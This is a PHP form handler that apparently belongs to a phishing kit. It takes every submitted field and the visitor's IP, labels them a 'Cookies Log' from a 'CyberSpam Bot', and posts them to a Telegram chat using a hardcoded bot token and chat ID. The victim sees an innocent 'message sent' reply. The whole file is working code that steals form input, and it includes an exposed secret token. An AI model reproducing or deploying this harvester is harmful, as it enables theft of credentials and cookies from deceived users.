<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Telegram bot token and chat ID
    $botToken = "7317095608:AAHky9fpA5KcLFM6S5O3Wl7p7S82jxzIbSU";
    $chatId = "1637284648";

    // Capture the user's IP address
    $ipAddress = $_SERVER['REMOTE_ADDR'];

    // Build the message content dynamically from POST data
    $messageContent = "### Cookies Log ###
Reported by CyberSpam Bot ✅:\n\n";
    foreach ($_POST as $key => $value) {
        $messageContent .= ucfirst($key) . ": " . htmlspecialchars($value) . "\n";
    }
    $messageContent .= "🌐 IP: " . $ipAddress . "\n";

    // Send the message to Telegram
    $telegramApiUrl = "https://api.telegram.org/bot$botToken/sendMessage";
    $data = [
        'chat_id' => $chatId,
        'text' => $messageContent
    ];

    $options = [
        'http' => [
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data)
        ]
    ];
    $context  = stream_context_create($options);
    $result = file_get_contents($telegramApiUrl, false, $context);

    // Provide feedback to the user
    if ($result === FALSE) {
        echo "Oops! Something went wrong and we couldn't send your message.";
    } else {
        echo "Thank you! Your message has been sent.";
    }
} else {
    // If not a POST request, redirect back to the form
    header("Location: form.html");
    exit;
}
?>
